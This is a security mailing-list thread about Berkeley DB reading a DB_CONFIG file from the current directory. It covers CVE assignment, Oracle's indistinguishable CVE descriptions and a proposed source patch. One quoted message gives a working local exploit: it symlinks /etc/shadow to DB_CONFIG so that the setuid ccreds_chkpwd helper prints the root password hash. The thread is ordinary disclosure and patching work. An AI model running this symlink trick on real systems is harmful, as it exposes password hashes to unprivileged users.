Re: indistinguishable CVEs Re: [oss-security] Berkeley DB reads DB_CONFIG from cwd

[Kurt Seifried <kseifried@redhat.com>]

Oracle ended up assigning I have assigned  CVE-2017-10140 to this issue. I believe they posted it to oss-security

On Wed, Oct 18, 2017 at 11:13 AM, Pascal Meunier <pmeunier@cerias.purdue.edu> wrote:

I was curious about what happened with Kurt's CVE for Berkeley DB and
tried to see if I could identify a new CVE entry for it.  However, I'm
having some trouble.  it seems the CVE entries for Berkeley DB are
pretty much indistinguishable to the point of uselessness.

Can anyone tell me the difference between all the CVEs in the range
CVE-2017-3604 through CVE-2017-3617?  They all have the exact same
description.  

Or, the difference between CVE-2016-0682, CVE-2016-0689, CVE-2016-0692,
and CVE-2016-3418?


Another group: CVE-2015-2583, CVE-2015-2624, CVE-2015-2626, CVE-2015-
2640, CVE-2015-2654, CVE-2015-2656, CVE-2015-4754, CVE-2015-4764, 
CVE-2015-4775, CVE-2015-4776, CVE-2015-4777, CVE-2015-4778, 
CVE-2015-4780, CVE-2015-4781, CVE-2015-4782, CVE-2015-4783, 
CVE-2015-4784, CVE-2015-4785, CVE-2015-4786, CVE-2015-4787, and 
CVE-2015-4789

I believe CVEs start being useful before an official packaged fix, or
official advisory, is available when the issue is already public, to
support discussions, searches, tools and references.  

Kurt, was a CVE assigned to the issue you described?  It would be
precious to have a distinguishable CVE for Berkeley DB... 

I'm glad you noticed and tried to fix a slow or missing assignment.  

Pascal


On Fri, 2017-08-11 at 14:31 -0600, Kurt Seifried wrote:
> This appears to need a CVE but Oracle is upstream and hasn't assigned
> one
> AFAIK. It's been almost 2 months now with no reply, so I guess it's
> my
> intention to go ahead and assign one on behalf of the DWF unless
> Oracle
> assigns one or strongly objects (it clearly needs one).
>
> On Thu, Jun 15, 2017 at 1:38 PM, Ritwik Ghoshal <ritwik.ghoshal@oracl
> e.com>
> wrote:
>
> > On 6/15/2017 7:40 AM, Solar Designer wrote:
> > > On Sun, Jun 11, 2017 at 12:06:13AM +0200, Jakub Wilk wrote:
> > > > Apparently Berkeley DB reads the DB_CONFIG configuration file
> > > > from the
> > > > current working directory by default[*]. This is surprising and
> > > > AFAICT
> > > > undocumented.
> > > >
> > > > Here's how to exploit it against pam_ccreds:
> > > >
> > > >    $ cat /etc/shadow
> > > >    cat: /etc/shadow: Permission denied
> > > >    $ ln -sf /etc/shadow DB_CONFIG
> > > >    $ /sbin/ccreds_chkpwd moo < /dev/null
> > > >    BDB1584 line 1:
> > > >    root:$1$QRCEVRMX$sPppjXE42AZnUPuEWf87D.:17327:0:99999:7::::
> >
> > incorrect
> > > >    name-value pair
> > > >
> > > > (The above was tested on Debian jessie.)
> > > >
> > > > In the past, nss_db was also exploitable:
> > > > CVE-2010-0826
> > > >
> > > >
> > > > [*] More precisely, this seem to happen when you call
> > > > db_create() with
> > > > dbenv=NULL; or if you use the dbm_open() function.
> > >
> > > Besides possibly updating Postfix, what are distros going to do
> > > about
> > > this?
> >
> >
> > > What is upstream going to do?  Have they been contacted?
> >
> > Oracle is aware of this issue, and we are investigating.
> >
> > --
> > Thanks,
> > -Ritwik
> >
> >
> > >
> > > In the source code, it isn't necessarily as simple as commenting
> > > out the
> > > undocumented functionality.  There doesn't appear to be any code
> > > specific to the undocumented functionality, since it is
> > > documented that
> > > the DB_CONFIG file is read from the environment's home directory
> > > and the
> > > code is there primarily for that purpose.  Problems arise when
> > > the
> > > environment is uninitialized, and it is unclear to me whether
> > > this was
> > > possibly meant to imply the environment's home directory is the
> > > current
> > > directory (but even if so, this behavior is dangerous and needs
> > > to go).
> > >
> > > At first, I tried checking for dbenv being NULL in
> > > __dbenv_config(),
> > > which is where the hard-coded DB_CONFIG file name is
> > > found.  However, at
> > > least when testing with Postfix' postmap program (without the
> > > recent
> > > workaround), dbenv is non-NULL there, and per strace postmap does
> > > indeed
> > > try to open DB_CONFIG in the current directory.  Thus, for now I
> > > opted
> > > for this patch checking for and curing the symptom:
> > >
> > > --- db-4.3.29/env/env_open.c.orig       2004-12-23 02:58:21 +0000
> > > +++ db-4.3.29/env/env_open.c    2017-06-15 13:59:43 +0000
> > > @@ -500,7 +500,7 @@ __dbenv_config(dbenv, db_home, flags)
> > >         if (p == NULL)
> > >                 fp = NULL;
> > >         else {
> > > -               fp = fopen(p, "r");
> > > +               fp = strcmp(p, "DB_CONFIG") ? fopen(p, "r") :
> > > NULL;
> > >                 __os_free(dbenv, p);
> > >         }
> > >
> > > This passes the postmap test for me (postmap no longer tries to
> > > open the
> > > file), but I wonder if it possibly broke db's own tests.  I can't
> > > easily
> > > run the tests as --enable-test says it needs TCL, which we don't
> > > package.
> > >
> > > While at it, I found that rep/rep_backup.c has a comment saying
> > > it skips
> > > DB_CONFIG, but the code actually skips DB_CONFIG* (that is, any
> > > filename
> > > starting with DB_CONFIG) due to use of strncmp():
> > >
> > >                 /*
> > >                  * Skip DB-owned files: ., ..,  __db*, DB_CONFIG,
> > > log*
> > >                  */
> > >                 if (strcmp(names[i], ".") == 0)
> > >                         continue;
> > >                 if (strcmp(names[i], "..") == 0)
> > >                         continue;
> > >                 if (strncmp(names[i], "__db", 4) == 0)
> > >                         continue;
> > >                 if (strncmp(names[i], "DB_CONFIG", 9) == 0)
> > >                         continue;
> > >                 if (strncmp(names[i], "log", 3) == 0)
> > >                         continue;
> > >
> > > Either the comment or the code is wrong (I think the code is
> > > wrong), but
> > > this is unimportant.
> > >
> > > Alexander
> >
> >
>
>

--

Kurt Seifried -- Red Hat -- Product Security -- Cloud
PGP A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993
Red Hat Product Security contact: secalert@redhat.com